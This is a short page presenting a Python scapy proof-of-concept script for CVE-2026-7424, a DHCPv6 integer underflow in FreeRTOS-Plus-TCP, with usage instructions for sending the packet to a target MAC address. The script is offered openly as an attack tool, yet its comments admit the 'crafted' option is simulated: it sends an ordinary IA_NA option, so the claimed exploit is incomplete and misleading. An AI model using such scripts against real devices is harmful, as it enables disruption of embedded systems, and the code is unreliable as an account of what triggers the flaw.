CVE-2026-7424 FreeRTOS-Plus-TCP DHCPv6整数下溢漏洞

import sys from scapy.all import * # PoC for CVE-2026-7424: FreeRTOS-Plus-TCP DHCPv6 Integer Underflow # This script sends a crafted DHCPv6 packet to trigger the underflow. # Target needs to be on the same local network (Adjacent). def send_exploit(target_mac, interface): # Craft Ethernet header eth = Ether(dst=target_mac, src=get_if_hwaddr(interface)) # Craft IPv6 header ip6 = IPv6(src="::1", dst="ff02::1:2") # Craft UDP header (DHCPv6 uses port 546/547) udp = UDP(sport=547, dport=546) # DHCPv6 Message Header (Reply type) dhcp6 = DHCP6_Reply(trid=12345) # Crafted Option to cause Integer Underflow # The vulnerability is in the sub-option parser. # We construct an option with a specific length that triggers underflow during calculation. # Specific bytes may vary based on the exact parser logic, but malformed length is the key. # Option Code: 1 (Client Identifier) or similar, followed by malformed length. # Example: Length 0x01, subtracted by a larger value in parser -> Underflow. # Malformed option data (simulated) # Structure: Option Code(2) + OptLen(2) + Data # Sending a length that causes the parser to miscalculate buffer size crafted_option = DHCP6OptIA_NA(iaid=1, T1=3600, T2=5400) # Note: Actual exploitation requires precise byte manipulation of the sub-option field # that leads to the underflow condition described in the advisory. packet = eth / ip6 / udp / dhcp6 / crafted_option print(f"[*] Sending malicious DHCPv6 packet to {target_mac}...") sendp(packet, iface=interface, verbose=1) print("[+] Exploit packet sent.") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_mac> <interface>") print("Example: python cve-2026-7424.py 00:11:22:33:44:55 eth0") sys.exit(1) send_exploit(sys.argv[1], sys.argv[2])